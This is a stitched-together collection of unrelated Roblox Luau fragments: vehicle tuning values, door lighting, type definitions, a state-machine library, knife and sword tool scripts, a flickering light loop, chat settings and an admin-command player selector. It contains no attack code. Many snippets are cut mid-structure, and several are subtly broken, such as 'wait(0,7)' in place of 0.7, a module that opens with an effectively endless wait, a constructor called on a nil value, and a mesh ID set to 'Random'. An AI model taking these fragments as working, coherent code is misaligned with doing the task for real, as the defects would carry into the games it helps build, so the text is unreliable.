Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.AxleSize = 2 -- Size of structural members (larger = MORE STABLE / carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
--------RIGHT DOOR --------
|
game.Workspace.doorright.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
|
--Tweens
|
local OpenTween = TweenService:Create(Hinge,OpenTweenInfo,{CFrame = OpenHinge.CFrame})
local CloseTween = TweenService:Create(Hinge,CloseTweenInfo,{CFrame = ClosedHinge.CFrame})
local OpenTween1 = TweenService:Create(Hinge1,OpenTweenInfo,{CFrame = OpenHinge1.CFrame})
local CloseTween1 = TweenService:Create(Hinge1,CloseTweenInfo,{CFrame = ClosedHinge1.CFrame})
|
--!strict
|
export type Object = { [string]: any }
export type Array<T> = { [number]: T }
export type Function = (...any) -> ...any
export type Table<T, V> = { [T]: V }
export type Tuple<T, V> = Array<T | V>
export type mapCallbackFn<K, V> = (element: V, key: K, map: Map<K, V>) -> ()
export type mapCallbackFnWithThisArg<K, V> = (thisArg: Object, value: V, key: K, map: Map<K, V>) -> ()
export type Map<K, V> = typeof(setmetatable(
{} :: {
size: number,
-- method definitions
set: (self: Map<K, V>, K, V) -> Map<K, V>,
get: (self: Map<K, V>, K) -> V | nil,
clear: (self: Map<K, V>) -> (),
delete: (self: Map<K, V>, K) -> boolean,
forEach: (
self: Map<K, V>,
callback: mapCallbackFn<K, V> | mapCallbackFnWithThisArg<K, V>,
thisArg: Object?
) -> (),
has: (self: Map<K, V>, K) -> boolean,
keys: (self: Map<K, V>) -> Array<K>,
values: (self: Map<K, V>) -> Array<V>,
entries: (self: Map<K, V>) -> Array<Tuple<K, V>>,
ipairs: (self: Map<K, V>) -> any,
[K]: V,
_map: { [K]: V },
_array: { [number]: K },
},
{} :: {
__index: Map<K, V>,
__iter: (self: Map<K, V>) -> (<K, V>({ [K]: V }, K?) -> (K, V), V),
}
))
export type setCallbackFn<T> = (value: T, key: T, set: Set<T>) -> ()
export type setCallbackFnWithThisArg<T> = (thisArg: Object, value: T, key: T, set: Set<T>) -> ()
export type Set<T> = typeof(setmetatable(
{} :: {
size: number,
-- method definitions
add: (self: Set<T>, T) -> Set<T>,
clear: (self: Set<T>) -> (),
delete: (self: Set<T>, T) -> boolean,
forEach: (self: Set<T>, callback: setCallbackFn<T> | setCallbackFnWithThisArg<T>, thisArg: Object?) -> (),
has: (self: Set<T>, T) -> boolean,
ipairs: (self: Set<T>) -> any,
},
{} :: {
__index: Set<T>,
__iter: (self: Set<T>) -> (<K, V>({ [K]: V }, K?) -> (K, V), T),
}
))
return {}
|
--shot data
|
local lasttimeshot = tick()
ragdollbullettable = {}
|
--[[ The Module ]]
|
--
wait(999999999999999999999)
local BaseOcclusion = {}
BaseOcclusion.__index = BaseOcclusion
setmetatable(BaseOcclusion, {
__call = function(_, ...)
return BaseOcclusion.new(...)
end
})
function BaseOcclusion.new()
local self = setmetatable({}, BaseOcclusion)
return self
end
|
-- From https://github.com/unindented/lua-fsm/blob/master/src/fsm.lua
--[[
Copyright (c) 2016 Daniel Perez Alvarez
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
]]
|
--
local Fsm = {}
Fsm.WILDCARD = "*"
Fsm.DEFERRED = 0
Fsm.SUCCEEDED = 1
Fsm.NO_TRANSITION = 2
Fsm.PENDING = 3
Fsm.CANCELLED = 4
local function do_callback(handler, args)
if handler then
return handler(unpack(args))
end
end
local function before_event(self, event, _, _, args)
local specific = do_callback(self["on_before_" .. event], args)
local general = do_callback(self["on_before_event"], args)
if specific == false or general == false then
return false
end
end
local function leave_state(self, _, from, _, args)
local specific = do_callback(self["on_leave_" .. from], args)
local general = do_callback(self["on_leave_state"], args)
if specific == false or general == false then
return false
end
if specific == Fsm.DEFERRED or general == Fsm.DEFERRED then
return Fsm.DEFERRED
end
end
local function enter_state(self, _, _, to, args)
do_callback(self["on_enter_" .. to] or self["on_" .. to], args)
do_callback(self["on_enter_state"] or self["on_state"], args)
end
local function after_event(self, event, _, _, args)
do_callback(self["on_after_" .. event] or self["on_" .. event], args)
do_callback(self["on_after_event"] or self["on_event"], args)
end
local function build_transition(self, event, states)
return function(...)
local from = self.current
local to = states[from] or states[Fsm.WILDCARD] or from
local args = {self, event, from, to, ...}
assert(not self.is_pending(), "previous transition still pending")
assert(self.can(event), "invalid transition from state '" .. from .. "' with event '" .. event .. "'")
local before = before_event(self, event, from, to, args)
if before == false then
return Fsm.CANCELLED
end
if from == to then
after_event(self, event, from, to, args)
return Fsm.NO_TRANSITION
end
self.confirm = function()
self.confirm = nil
self.cancel = nil
self.current = to
enter_state(self, event, from, to, args)
after_event(self, event, from, to, args)
return Fsm.SUCCEEDED
end
self.cancel = function()
self.confirm = nil
self.cancel = nil
after_event(self, event, from, to, args)
return Fsm.CANCELLED
end
local leave = leave_state(self, event, from, to, args)
if leave == false then
return Fsm.CANCELLED
end
if leave == Fsm.DEFERRED then
return Fsm.PENDING
end
if self.confirm then
return self.confirm()
end
end
end
function Fsm.create(cfg, target)
local self = target or {}
-- Initial state.
local initial = cfg.initial
-- Allow for a string, or a map like `{state = "foo", event = "setup"}`.
initial = type(initial) == "string" and {state = initial} or initial
-- Initial event.
local initial_event = initial and initial.event or "startup"
-- Terminal state.
local terminal = cfg.terminal
-- Events.
local events = cfg.events or {}
-- Callbacks.
local callbacks = cfg.callbacks or {}
-- Track state transitions allowed for an event.
local states_for_event = {}
-- Track events allowed from a state.
local events_for_state = {}
local function add(e)
-- Allow wildcard transition if `from` is not specified.
local from = type(e.from) == "table" and e.from or (e.from and {e.from} or {Fsm.WILDCARD})
local to = e.to
local event = e.name
states_for_event[event] = states_for_event[event] or {}
for _, fr in ipairs(from) do
events_for_state[fr] = events_for_state[fr] or {}
table.insert(events_for_state[fr], event)
-- Allow no-op transition if `to` is not specified.
states_for_event[event][fr] = to or fr
end
end
if initial then
add({name = initial_event, from = "none", to = initial.state})
end
for _, event in ipairs(events) do
add(event)
end
for event, states in pairs(states_for_event) do
self[event] = build_transition(self, event, states)
end
for name, callback in pairs(callbacks) do
self[name] = callback
end
self.current = "none"
function self.is(state)
if type(state) == "table" then
for _, s in ipairs(state) do
if self.current == s then
return true
end
end
return false
end
return self.current == state
end
function self.can(event)
local states = states_for_event[event]
local to = states[self.current] or states[Fsm.WILDCARD]
return to ~= nil
end
function self.cannot(event)
return not self.can(event)
end
function self.transitions()
return events_for_state[self.current]
end
function self.is_pending()
return self.confirm ~= nil
end
function self.is_finished()
return self.is(terminal)
end
if initial and not initial.defer then
self[initial_event]()
end
return self
end
return Fsm
|
--// Positioning
|
RestPos = CFrame.new(0.41808939, 0, -0.0273852348, 0.704155862, -0.0188415907, 0.709795356, -0.314750254, 0.887783766, 0.335815758, -0.636472106, -0.459874928, 0.61920774);
SprintPos = CFrame.new(0, 0, 0, 0.844756603, -0.251352191, 0.472449303, 0.103136979, 0.942750931, 0.317149073, -0.525118113, -0.219186768, 0.822318792);
|
--- Source: https://web.archive.org/web/20131225070434/http://snippets.luacode.org/snippets/Deep_Comparison_of_Two_Values_3
|
function CompareTable(t1,t2,ignore_mt)
local ty1 = type(t1)
local ty2 = type(t2)
if ty1 ~= ty2 then return false end
--- Non-table types can be directly compared
if ty1 ~= 'table' and ty2 ~= 'table' then return t1 == t2 end
--- As well as tables which have the metamethod __eq
local mt = getmetatable(t1)
if not ignore_mt and mt and mt.__eq then return t1 == t2 end
for k1,v1 in pairs(t1) do
local v2 = t2[k1]
if v2 == nil or not CompareTable(v1,v2) then return false end
end
for k2,v2 in pairs(t2) do
local v1 = t1[k2]
if v1 == nil or not CompareTable(v1,v2) then return false end
end
return true
end
|
---[[ Chat Behaviour Settings ]]
|
module.WindowDraggable = false
module.WindowResizable = false
module.ShowChannelsBar = false
module.GamepadNavigationEnabled = false
module.ShowUserOwnFilteredMessage = true --Show a user the filtered version of their message rather than the original.
|
--------------------- TEMPLATE BLADE WEAPON ---------------------------
-- Waits for the child of the specified parent
|
local function WaitForChild(parent, childName)
while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
return parent[childName]
end
local SLASH_DAMAGE = 150
local DOWNSTAB_DAMAGE = 150
local THROWING_DAMAGE = 150
local HOLD_TO_THROW_TIME = 0.38
local Damage = 100
local MyHumanoid = nil
local MyTorso = nil
local MyCharacter = nil
local MyPlayer = nil
local Tool = script.Parent
local Handle = WaitForChild(Tool, 'Handle')
local BlowConnection
local Button1DownConnection
local Button1UpConnection
local PlayStabPunch
local PlayDownStab
local PlayThrow
local PlayThrowCharge
local IconUrl = Tool.TextureId -- URL to the weapon knife icon asset
local DebrisService = Game:GetService('Debris')
local PlayersService = Game:GetService('Players')
local SlashSound
local HitPlayers = {}
local LeftButtonDownTime = nil
local Attacking = false
function Blow(hit)
if Attacking then
BlowDamage(hit, Damage)
end
end
function BlowDamage(hit, damage)
local humanoid = hit.Parent:FindFirstChild('Humanoid')
local player = PlayersService:GetPlayerFromCharacter(hit.Parent)
if humanoid == nil then
Handle.WallHit:Play()
wait(0.1)
if game.Workspace.Handle == nil then
else
game.Workspace.Handle:Destroy()
end
else
if humanoid.Health == 0 then
else
Handle.Ragdoll:clone().Parent = hit.Parent
humanoid.Health = 0
Handle.DeadPlayer:Play()
Handle.DeadSound:Play()
end
wait(0.1)
if game.Workspace.Handle == nil then
else
game.Workspace.Handle:Destroy()
end
end
if humanoid ~= nil and MyHumanoid ~= nil and humanoid ~= MyHumanoid then
if not MyPlayer.Neutral then
-- Ignore teammates hit
if player and player ~= MyPlayer and player.TeamColor == MyPlayer.TeamColor then
return
end
end
-- final check, make sure weapon is in-hand
local rightArm = MyCharacter:FindFirstChild('Right Arm')
if (rightArm ~= nil) then
-- Check if the weld exists between the hand and the weapon
local joint = rightArm:FindFirstChild('RightGrip')
if (joint ~= nil and (joint.Part0 == Handle or joint.Part1 == Handle)) then
-- Make sure you only hit them once per swing
if player and not HitPlayers[player] then
TagHumanoid(humanoid, MyPlayer)
print("Sending " .. damage)
humanoid:TakeDamage(damage)
Handle.Splat.Volume = 1
Handle.Splat:Play()
HitPlayers[player] = true
end
end
end
end
end
function TagHumanoid(humanoid, player)
-- Add more tags here to customize what tags are available.
while humanoid:FindFirstChild('creator') do
humanoid:FindFirstChild('creator'):Destroy()
end
local creatorTag = Instance.new('ObjectValue')
creatorTag.Value = player
creatorTag.Name = 'creator'
creatorTag.Parent = humanoid
DebrisService:AddItem(creatorTag, 1.5)
local weaponIconTag = Instance.new('StringValue')
weaponIconTag.Value = IconUrl
weaponIconTag.Name = 'icon'
weaponIconTag.Parent = creatorTag
DebrisService:AddItem(weaponIconTag, 1.5)
end
function HardAttack()
Handle.Attack:Play()
if PlayStabPunch then
PlayStabPunch.Value = true
wait(1.0)
PlayStabPunch.Value = false
end
end
function NormalAttack()
Damage = DOWNSTAB_DAMAGE
KnifeDown()
Handle.Attack:Play()
if PlayDownStab then
PlayDownStab.Value = true
wait(1.0)
PlayDownStab.Value = false
end
KnifeUp()
end
function ThrowAttack()
KnifeOut()
if PlayThrow then
PlayThrow.Value = true
wait(0.3)
if not Handle then return end
local throwingHandle = Handle:Clone()
DebrisService:AddItem(throwingHandle, 5)
throwingHandle.Parent = Workspace
Handle.Throw:Play()
if MyCharacter and MyHumanoid then
throwingHandle.Velocity = (MyHumanoid.TargetPoint - throwingHandle.CFrame.p).unit * 300
-- set the orientation to the direction it is being thrown in
throwingHandle.CFrame = CFrame.new(throwingHandle.CFrame.p, throwingHandle.CFrame.p + throwingHandle.Velocity) * CFrame.Angles(0, 0, math.rad(-90))
local floatingForce = Instance.new('BodyForce', throwingHandle)
floatingForce.force = Vector3.new(0, 196.2 * throwingHandle:GetMass() * 0.98, 0)
local spin = Instance.new('BodyAngularVelocity', throwingHandle)
spin.angularvelocity = throwingHandle.CFrame:vectorToWorldSpace(Vector3.new(0, -400, 0))
end
Handle.Transparency = 1
-- Wait so that the knife has left the thrower's general area
wait(0.08)
if throwingHandle then
local touchedConn = throwingHandle.Touched:connect(function(hit) print("hit throw") BlowDamage(hit, THROWING_DAMAGE) end)
end
-- must check if it still exists since we waited
if throwingHandle then
throwingHandle.CanCollide = true
end
wait(0.6)
if Handle and PlayThrow then
Handle.Transparency = 0
PlayThrow.Value = false
end
end
KnifeUp()
end
function KnifeUp()
Tool.GripForward = Vector3.new(0, 0, -1)
Tool.GripRight = Vector3.new(1, 0, 0)
Tool.GripUp = Vector3.new(0, 1, 0)
end
function KnifeDown()
Tool.GripForward = Vector3.new(0, 0, -1)
Tool.GripRight = Vector3.new(1, 0, 0)
Tool.GripUp = Vector3.new(0, -1, 0)
end
function KnifeOut()
Tool.GripForward = Vector3.new(0, 0, -1)
Tool.GripRight = Vector3.new(1, 0, 0)
Tool.GripUp = Vector3.new(0, 1, 0)
end
Tool.Enabled = true
function OnLeftButtonDown()
LeftButtonDownTime = time()
end
function OnLeftButtonUp()
if not Tool.Enabled then return end
-- Reset the list of hit players every time we start a new attack
HitPlayers = {}
if PlayThrowCharge then
PlayThrowCharge.Value = false
end
if Tool.Enabled and MyHumanoid and MyHumanoid.Health > 0 then
Tool.Enabled = false
local currTime = time()
if LeftButtonDownTime and currTime - LeftButtonDownTime > HOLD_TO_THROW_TIME and
currTime - LeftButtonDownTime < 1.15 then
else
Attacking = true
if math.random(1, 2) == 1 then
HardAttack()
else
NormalAttack()
end
Attacking = false
end
Tool.Enabled = true
end
end
function OnRightButtonDown()
RightButtonDownTime = time()
if PlayThrowCharge then
PlayThrowCharge.Value = true
end
end
function OnRightButtonUp()
if not Tool.Enabled then return end
-- Reset the list of hit players every time we start a new attack
HitPlayers = {}
if PlayThrowCharge then
PlayThrowCharge.Value = false
end
if Tool.Enabled and MyHumanoid and MyHumanoid.Health > 0 then
Tool.Enabled = false
local currTime = time()
if RightButtonDownTime and currTime - RightButtonDownTime > HOLD_TO_THROW_TIME and
currTime - RightButtonDownTime < 1.15 then
ThrowAttack()
else
Attacking = true
if math.random(1, 2) == 1 then
else
end
Attacking = false
end
Tool.Enabled = true
end
end
function OnEquipped(mouse)
PlayStabPunch = WaitForChild(Tool, 'PlayStabPunch')
PlayDownStab = WaitForChild(Tool, 'PlayDownStab')
PlayThrow = WaitForChild(Tool, 'PlayThrow')
PlayThrowCharge = WaitForChild(Tool, 'PlayThrowCharge')
Handle.Equip:Play()
BlowConnection = Handle.Touched:connect(Blow)
MyCharacter = Tool.Parent
MyTorso = MyCharacter:FindFirstChild('Torso')
MyHumanoid = MyCharacter:FindFirstChild('Humanoid')
MyPlayer = PlayersService.LocalPlayer
if mouse then
Button1DownConnection = mouse.Button1Down:connect(OnLeftButtonDown)
Button1UpConnection = mouse.Button1Up:connect(OnLeftButtonUp)
Button2DownConnection = mouse.Button2Down:connect(OnRightButtonDown)
Button2UpConnection = mouse.Button2Up:connect(OnRightButtonUp)
end
KnifeUp()
end
function OnUnequipped()
-- Unequip logic here
if BlowConnection then
BlowConnection:disconnect()
BlowConnection = nil
end
if Button1DownConnection then
Button1DownConnection:disconnect()
Button1DownConnection = nil
end
if Button1UpConnection then
Button1UpConnection:disconnect()
Button1UpConnection = nil
end
if Button2UpConnection then
Button2UpConnection:disconnect()
Button2UpConnection = nil
end
if Button2DownConnection then
Button2DownConnection:disconnect()
Button2DownConnection = nil
end
MyHumanoid = nil
end
Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)
|
--and create the "Event.E" syntax stub. Really it's just a stub to construct a table which our Create
--function can recognize as special.
|
t.Create.E = function(eventName)
return {__eventname = eventName}
end
|
-- Set up the event handlers for each button
|
for _, button in ipairs(buttons) do
button.MouseEnter:Connect(function() onButtonEnter(button) end)
button.MouseLeave:Connect(function() onButtonLeave(button) end)
end
|
-- SOULDRAGON'S INSANAQUARIUM VERTICLE FISH MOVEMENT SCRIPT
|
hvr = script.Parent.Parent.Hover
while true do
hvr.position = Vector3.new(0,4,0)
wait(1)
hvr.position = Vector3.new(0,3,0)
wait(2)
hvr.position = Vector3.new(0,5,0)
wait(4)
hvr.position = Vector3.new(0,2,0)
wait(1)
end
|
--print("light loaded")
|
local light = script.Parent
while true do
light.Transparency = 1
wait(28.5)
light.Transparency = 0
wait(0,7)
light.Transparency = 1
wait(0.4)
light.Transparency = 0
wait(0,7)
light.Transparency = 1
wait(3)
light.Transparency = 0
wait(0,7)
light.Transparency = 1
wait(0.4)
light.Transparency = 0
wait(0,7)
light.Transparency = 1
wait(3)
light.Transparency = 0
wait(0,7)
light.Transparency = 1
wait(0.4)
light.Transparency = 0
wait(0,7)
light.Transparency = 1
wait(3)
light.Transparency = 0
wait(0,7)
light.Transparency = 1
wait(0.4)
light.Transparency = 0
wait(0,7)
light.Transparency = 1
wait(3)
light.Transparency = 0
wait(0,7)
light.Transparency = 1
wait(0.4)
light.Transparency = 0
wait(0,7)
light.Transparency = 1
wait(3)
light.Transparency = 0
wait(0,7)
light.Transparency = 1
wait(0.4)
light.Transparency = 0
wait(0,7)
light.Transparency = 1
wait(3)
light.Transparency = 0
wait(0,7)
light.Transparency = 1
wait(0.4)
light.Transparency = 0
wait(0,7)
light.Transparency = 1
wait(3)
end
|
-------- OMG HAX
|
r = game:service("RunService")
local damage = 0
local slash_damage = 0
sword = script.Parent.Handle
Tool = script.Parent
function attack()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
attack()
wait(1)
Tool.Enabled = true
end
function onEquipped()
print("Running Copy")
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
|
----------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
--//Server Animations
------//Idle Position
|
self.SV_GunPos = CFrame.new(-.3, -.2, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))
self.SV_RightArmPos = CFrame.new(-0.575, 0.65, -1.185) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Server
self.SV_LeftArmPos = CFrame.new(1.15,0.25,-1.3) * CFrame.Angles(math.rad(-95),math.rad(20),math.rad(-25)) --server
self.SV_RightElbowPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) --Client
self.SV_LeftElbowPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)) --Client
self.SV_RightWristPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) --Client
self.SV_LeftWristPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))
|
-- Settings can be modified in lines 13-17
--=======================================--
|
local sm = Color3.fromRGB(100, 100, 100)--color of the messages
local welcomeMessage = "Welcome to the game!" -- message that a player is shown when they join
local welcomeMessageOn = true -- set to true to give a player a message when they join the game
local joinMessage = " discovered us. Good day." -- will display as "[player] has joined.""
local displayJoinMessage = true
local leftMessage = " quit up." -- will display as "[player] has left."
local displayLeaveMessage = true
|
--recoil data
|
local currentcspeed = 1.5
local recmult = 1
local rectime = 0.1
local recdampmult = 3
local recxamount = 10
local recyamount = 4
local reczamount = 15
local recoilcf = CFrame.new()
local frametick = tick()
local recoiltick = tick()
|
--// Explosive Settings
|
BlastPressue = 500000;
BlastRadius = 10;
DestroyJointRadius = 10;
ExplosionType = Enum.ExplosionType.NoCraters; -- Might wanna leave it like this
}
return Settings
|
-- This default upgrader is going to turn whatever brick touches it, into a sword, at least the mesh part.
--------------------
|
script.Parent.Upgrader.Touched:connect(function(Part)
if Part:FindFirstChild("Cash") then
Part.Cash.Value = Part.Cash.Value * 2 -- Try not to use * because if the game lags, parts may be worth millions each due to debounce
if meshUpgrade == true then
for i,v in pairs(Part:GetChildren())do
if v:IsA("SpecialMesh") then
v:remove()
end
end
local m = Instance.new("SpecialMesh",Part)
m.MeshId = Random
m.TextureId = Random
end
end
end)
|
-- Choose current Touch control module based on settings (user, dev)
-- Returns module (possibly nil) and success code to differentiate returning nil due to error vs Scriptable
|
function ControlModule:SelectTouchModule(): ({}?, boolean)
if not UserInputService.TouchEnabled then
return nil, false
end
local touchModule
local DevMovementMode = Players.LocalPlayer.DevTouchMovementMode
if DevMovementMode == Enum.DevTouchMovementMode.UserChoice then
touchModule = movementEnumToModuleMap[UserGameSettings.TouchMovementMode]
elseif DevMovementMode == Enum.DevTouchMovementMode.Scriptable then
return nil, true
else
touchModule = movementEnumToModuleMap[DevMovementMode]
end
return touchModule, true
end
local function calculateRawMoveVector(humanoid: Humanoid, cameraRelativeMoveVector: Vector3): Vector3
local camera = Workspace.CurrentCamera
if not camera then
return cameraRelativeMoveVector
end
if humanoid:GetState() == Enum.HumanoidStateType.Swimming then
return camera.CFrame:VectorToWorldSpace(cameraRelativeMoveVector)
end
local cameraCFrame = camera.CFrame
if VRService.VREnabled and FFlagUserFlagEnableNewVRSystem and humanoid.RootPart then
-- movement relative to VR frustum
local cameraDelta = humanoid.RootPart.CFrame.Position - cameraCFrame.Position
if cameraDelta.Magnitude < 3 then -- "nearly" first person
local vrFrame = VRService:GetUserCFrame(Enum.UserCFrame.Head)
cameraCFrame = cameraCFrame * vrFrame
end
end
local c, s
local _, _, _, R00, R01, R02, _, _, R12, _, _, R22 = cameraCFrame:GetComponents()
if R12 < 1 and R12 > -1 then
-- X and Z components from back vector.
c = R22
s = R02
else
-- In this case the camera is looking straight up or straight down.
-- Use X components from right and up vectors.
c = R00
s = -R01*math.sign(R12)
end
local norm = math.sqrt(c*c + s*s)
return Vector3.new(
(c*cameraRelativeMoveVector.x + s*cameraRelativeMoveVector.z)/norm,
0,
(c*cameraRelativeMoveVector.z - s*cameraRelativeMoveVector.x)/norm
)
end
function ControlModule:OnRenderStepped(dt)
if self.activeController and self.activeController.enabled and self.humanoid then
-- Give the controller a chance to adjust its state
self.activeController:OnRenderStepped(dt)
-- Now retrieve info from the controller
local moveVector = self.activeController:GetMoveVector()
local cameraRelative = self.activeController:IsMoveVectorCameraRelative()
local clickToMoveController = self:GetClickToMoveController()
if self.activeController ~= clickToMoveController then
if moveVector.magnitude > 0 then
-- Clean up any developer started MoveTo path
clickToMoveController:CleanupPath()
else
-- Get move vector for developer started MoveTo
clickToMoveController:OnRenderStepped(dt)
moveVector = clickToMoveController:GetMoveVector()
cameraRelative = clickToMoveController:IsMoveVectorCameraRelative()
end
end
-- Are we driving a vehicle ?
local vehicleConsumedInput = false
if self.vehicleController then
moveVector, vehicleConsumedInput = self.vehicleController:Update(moveVector, cameraRelative, self.activeControlModule==Gamepad)
end
-- If not, move the player
-- Verification of vehicleConsumedInput is commented out to preserve legacy behavior,
-- in case some game relies on Humanoid.MoveDirection still being set while in a VehicleSeat
--if not vehicleConsumedInput then
if cameraRelative then
moveVector = calculateRawMoveVector(self.humanoid, moveVector)
end
self.moveFunction(Players.LocalPlayer, moveVector, false)
--end
-- And make them jump if needed
self.humanoid.Jump = self.activeController:GetIsJumping() or (self.touchJumpController and self.touchJumpController:GetIsJumping())
end
end
function ControlModule:OnHumanoidSeated(active: boolean, currentSeatPart: BasePart)
if active then
if currentSeatPart and currentSeatPart:IsA("VehicleSeat") then
if not self.vehicleController then
self.vehicleController = self.vehicleController.new(CONTROL_ACTION_PRIORITY)
end
self.vehicleController:Enable(true, currentSeatPart)
end
else
if self.vehicleController then
self.vehicleController:Enable(false, currentSeatPart)
end
end
end
function ControlModule:OnCharacterAdded(char)
self.humanoid = char:FindFirstChildOfClass("Humanoid")
while not self.humanoid do
char.ChildAdded:wait()
self.humanoid = char:FindFirstChildOfClass("Humanoid")
end
self:UpdateTouchGuiVisibility()
if self.humanoidSeatedConn then
self.humanoidSeatedConn:Disconnect()
self.humanoidSeatedConn = nil
end
self.humanoidSeatedConn = self.humanoid.Seated:Connect(function(active, currentSeatPart)
self:OnHumanoidSeated(active, currentSeatPart)
end)
end
function ControlModule:OnCharacterRemoving(char)
self.humanoid = nil
self:UpdateTouchGuiVisibility()
end
function ControlModule:UpdateTouchGuiVisibility()
if self.touchGui then
local doShow = self.humanoid and GuiService.TouchControlsEnabled
self.touchGui.Enabled = not not doShow -- convert to bool
end
end
|
----------------------------------
------------VARIABLES-------------
----------------------------------
|
User = nil
Connector = game.Workspace:FindFirstChild("GlobalPianoConnector")
if not Connector or not Connector:IsA("RemoteEvent") then
error("The piano requires a RemoteEvent named GlobalPianoConnector to be in Workspace.")
end
local SynthesiaKeys = Piano.Keys.Keys:GetChildren()
local Important = Piano.Case.Desk.Important
for i,v in pairs(SynthesiaKeys) do
v.Transparency = 1
end
local blocker = Piano.Case.Blocker
blocker.Transparency = 1
blocker.CanCollide = false
|
--------------------------------------
-- List of named places in the game
|
local _places = {
lobby = 0,
gameplay_development = 0,
queue_default = 0,
queue_deathmatch = 0,
queue_teamDeathmatch = 0,
queue_freePlay = 0
}
|
-- << FUNCTIONS >>
|
function module:ParseQualifier(q, speaker, targetPlayers, takeExactIndName)
targetPlayers = targetPlayers or {}
local speakerData = main.pd[speaker]
local firstChar = string.sub(q,1,1)
local remainingChars = string.sub(q,2)
local endLength = #remainingChars
local individual = false
if firstChar == "@" and string.sub(remainingChars, endLength-1, endLength) then
remainingChars = string.sub(remainingChars, 1, endLength-1)
end
if q == "me" then
targetPlayers[speaker] = true
elseif q == "all" then
for i, plr in pairs(main.players:GetChildren()) do
targetPlayers[plr] = true
end
elseif q == "random" then
targetPlayers[game.Players:GetChildren()[math.random(1,#game.Players:GetChildren())]] = true
elseif q == "others" then
for i, plr in pairs(main.players:GetChildren()) do
if plr ~= speaker then
targetPlayers[plr] = true
end
end
elseif q == "admins" or q == "nonadmins" then
for i, plr in pairs(main.players:GetChildren()) do
local pdata = main.pd[plr]
if pdata and ((q == "admins" and pdata.Rank > 0) or (q == "nonadmins" and pdata.Rank == 0)) then
targetPlayers[plr] = true
end
end
elseif q == "nbc" or q == "bc" or q == "tbc" or q == "obc" or q == "premium" or q == "prem" then
for i, plr in pairs(main.players:GetChildren()) do
if plr.MembershipType == memberships[q] then
targetPlayers[plr] = true
end
end
elseif q == "friends" or q == "nonfriends" then
for i, plr in pairs(main.players:GetChildren()) do
if (q == "friends" and speakerData.Friends[plr.Name]) or (q == "nonfriends" and not speakerData.Friends[plr.Name] and plr ~= speaker) then
targetPlayers[plr] = true
end
end
elseif q == "r6" or q == "r15" then
for i, plr in pairs(main.players:GetChildren()) do
local humanoid = main:GetModule("cf"):GetHumanoid(plr)
if humanoid and ((q == "r6" and humanoid.RigType == Enum.HumanoidRigType.R6) or (q == "r15" and humanoid.RigType == Enum.HumanoidRigType.R15)) then
targetPlayers[plr] = true
end
end
elseif q == "rthro" or q == "nonrthro" then
for i, plr in pairs(main.players:GetChildren()) do
local humanoid = main:GetModule("cf"):GetHumanoid(plr)
if humanoid then
local bts = humanoid:FindFirstChild("BodyTypeScale")
if bts and ((q == "rthro" and bts.Value > 0.9) or (q == "nonrthro" and bts.Value <= 0.9)) then
targetPlayers[plr] = true
end
end
end
elseif firstChar == "@" then -- Select Rank
local selectedRanks = {}
local count = 0
for _, rankDetails in pairs(main.settings.Ranks) do
local rankId = tostring(rankDetails[1])
local rankName = string.lower(rankDetails[2])
if string.sub(rankName, 1, #remainingChars) == remainingChars then
selectedRanks[rankId] = true
count = count + 1
end
end
if count > 0 then
for i, plr in pairs(main.players:GetChildren()) do
local pdata = main.pd[plr]
if pdata and selectedRanks[tostring(pdata.Rank)] then
targetPlayers[plr] = true
end
end
end
elseif firstChar == "%" then -- Select Team
local selectedTeams = {}
local count = 0
for _,team in pairs(main.teams:GetChildren()) do
local teamName = string.lower(team.Name)
if string.sub(teamName, 1, #remainingChars) == remainingChars then
selectedTeams[tostring(team.TeamColor)] = true
count = count + 1
end
end
